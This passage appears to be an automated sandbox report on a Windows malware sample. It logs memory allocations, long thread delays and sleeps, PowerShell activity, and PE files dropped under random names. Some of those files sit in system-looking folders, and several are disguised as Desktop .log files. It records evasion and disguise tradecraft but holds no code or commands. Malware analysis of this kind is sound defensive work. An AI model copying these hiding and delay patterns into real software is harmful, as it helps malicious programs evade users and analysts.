Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: 1AFB0000 memory reserve \| memory write watch
Source: C:\Recovery\0eDO5Zbs.exe	Memory allocated: 800000 memory reserve \| memory write watch
Source: C:\Recovery\0eDO5Zbs.exe	Memory allocated: 1A520000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Memory allocated: 1650000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Memory allocated: 1AFE0000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Memory allocated: 1240000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Memory allocated: 1AE60000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 1610000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 1B3C0000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: B20000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 1A840000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: B80000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: 1A730000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599370	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599233	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 597519	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 597391	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 599844
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 599702
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 598844
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 598625
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 598438
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 598110
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 597766
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 597594
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 597441
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596766
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596608
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596422
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 300000
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596297
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596186
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 596049
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595907
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595772
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595655
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595547
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595430
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595329
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 595204
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 593563
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 593454
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 593329
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 593188
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 593079
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592954
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592829
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592704
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592579
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592469
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592357
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592249
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592133
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 592029
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 591870
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 591704
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 591446
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 591333
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\0eDO5Zbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\0eDO5Zbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Window / User API: threadDelayed 4042	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Window / User API: threadDelayed 413	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2735	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2199	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2372	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3036
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2814
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Window / User API: threadDelayed 6628
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Window / User API: threadDelayed 3044

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QCzpQABH.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lkEtgbYs.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WWtOxrLm.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eTZddqfc.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oiVTRNgB.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CEHidmAX.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wMeJBGvi.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oGDUNCaL.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XOSeUCEW.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nluLvNRG.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NslYNyvF.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dGvExiJK.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LuUydMov.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hJPUkngW.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vSXJQEeZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UdnONotd.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NClzZRhR.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NnjhOJZu.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ezCDhkaT.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MGxYJULN.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xkMJxvqs.log	Jump to dropped file

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599370s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -597519s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -597391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 1136	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 6276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe TID: 4304	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556	Thread sleep count: 2735 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 2199 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 2372 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 3036 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7736	Thread sleep count: 2552 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 2814 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 8032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 8116	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -599844s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -599702s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 3052	Thread sleep time: -14400000s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -598844s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -598625s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -598438s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -598110s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -597766s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -597594s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -597441s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596766s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596608s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596422s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 3052	Thread sleep time: -900000s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596297s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596186s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -596049s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595907s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595772s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595655s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595547s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595430s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595329s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -595204s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -100000s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99988s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99875s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99765s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99633s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99492s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99263s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -99062s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -98943s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -98812s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -98703s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -98593s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -593563s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -593454s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -593329s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -593188s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -593079s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592954s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592829s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592704s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592579s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592469s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592357s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592249s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592133s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -592029s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -591870s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -591704s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -591446s >= -30000s
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe TID: 5428	Thread sleep time: -591333s >= -30000s
Source: C:\Windows\System32\r6Lr6XbTWt.exe TID: 4628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6392	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\r6Lr6XbTWt.exe TID: 4484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\0eDO5Zbs.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s
